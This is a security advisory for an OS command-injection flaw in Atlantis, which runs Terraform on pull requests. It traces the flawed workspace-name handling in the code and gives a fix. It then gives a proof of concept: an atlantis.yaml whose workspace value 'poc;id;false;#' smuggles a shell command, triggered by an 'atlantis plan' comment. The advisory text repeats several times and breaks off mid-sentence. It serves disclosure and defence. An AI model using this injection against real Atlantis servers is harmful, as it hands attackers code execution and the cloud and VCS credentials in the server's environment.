CVE-2026-116676

Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, " ") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.

Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, " ") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.

Summary

Atlantis passes the Terraform workspace value from a pull request's atlantis.yaml into a shell command without quoting or escaping it.

A contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, allow_custom_workflows, or permission to run terraform apply.

The executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.

Details

Verified against current upstream/main commit 92ce5c51d1a050357e44df3535483425e59fa984 on August 13, 2026.

The vulnerable data flow is:

1. The PR-controlled project workspace is validated in server/core/config/raw/project.go.

   Validation rejects only .., /, and \. Shell metacharacters such as ;, #, $, redirections, and whitespace remain permitted.

2. The workspace is passed directly as a Terraform command argument in server/core/runtime/workspace_step_runner_delegate.go:

   []string{workspaceCmd, "select", ctx.Workspace}
   

3. Terraform arguments are concatenated into a single string using strings.Join(args, " ") in server/core/terraform/tfclient/terraform_client.go:

   tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))
   

4. The resulting string is executed through sh -c in server/core/terraform/tfclient/terraform_client.go:

   cmd := exec.Command("sh", "-c", tfCmd)
   

Consequently, a workspace such as:

poc;id;false;#

produces commands equivalent to:

terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#

raw.Project.Validate() was confirmed to return no error for this workspace value.

Atlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit allow_custom_workflows control and requiring no malicious provider, external data source, custom workflow, or apply operation.

The primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, exec.Command(binaryPath, args...). Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.

PoC

Only reproduce this against a disposable Atlantis instance and test repository.

Preconditions

• Atlantis processes atlantis.yaml from the pull request branch.
• The pull request is eligible to run atlantis plan.
• For a fork pull request, the server must have --allow-fork-prs enabled. A same-repository branch does not require this flag.
• No custom workflows or apply permissions are required.

Repository contents

Create main.tf:

terraform {
  required_version = ">= 1.0"
}

Create atlantis.yaml:

version: 3
projects:
  - name: workspace-rce-poc
    dir: .
    workspace: "poc;id;false;#"
    autoplan:
      enabled: false

Open a pull request containing these files and comment:

atlantis plan -p workspace-rce-poc

Expected result

Atlantis first runs `terraform workspace…

Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, " ") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.

Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, " ") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.

Summary

Atlantis passes the Terraform workspace value from a pull request's atlantis.yaml into a shell command without quoting or escaping it.

A contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, allow_custom_workflows, or permission to run terraform apply.

The executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.

Details

Verified against current upstream/main commit 92ce5c51d1a050357e44df3535483425e59fa984 on August 13, 2026.

The vulnerable data flow is:

1. The PR-controlled project workspace is validated in server/core/config/raw/project.go.

   Validation rejects only .., /, and \. Shell metacharacters such as ;, #, $, redirections, and whitespace remain permitted.

2. The workspace is passed directly as a Terraform command argument in server/core/runtime/workspace_step_runner_delegate.go:

   []string{workspaceCmd, "select", ctx.Workspace}
   

3. Terraform arguments are concatenated into a single string using strings.Join(args, " ") in server/core/terraform/tfclient/terraform_client.go:

   tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))
   

4. The resulting string is executed through sh -c in server/core/terraform/tfclient/terraform_client.go:

   cmd := exec.Command("sh", "-c", tfCmd)
   

Consequently, a workspace such as:

poc;id;false;#

produces commands equivalent to:

terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#

raw.Project.Validate() was confirmed to return no error for this workspace value.

Atlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit allow_custom_workflows control and requiring no malicious provider, external data source, custom workflow, or apply operation.

The primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, exec.Command(binaryPath, args...). Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.

PoC

Only reproduce this against a disposable Atlantis instance and test repository.

Preconditions

• Atlantis processes atlantis.yaml from the pull request branch.
• The pull request is eligible to run atlantis plan.
• For a fork pull request, the server must have --allow-fork-prs enabled. A same-repository branch does not require this flag.
• No custom workflows or apply permissions are required.

Repository contents

Create main.tf:

terraform {
  required_version = ">= 1.0"
}

Create atlantis.yaml:

version: 3
projects:
  - name: workspace-rce-poc
    dir: .
    workspace: "poc;id;false;#"
    autoplan:
      enabled: false

Open a pull request containing these files and comment:

atlantis plan -p workspace-rce-poc

Expected result

Atlantis first runs `terraform workspace…

OS command injection through PR-controlled Terraform workspace enables RCE during plan in github.com/runatlantis/atlantis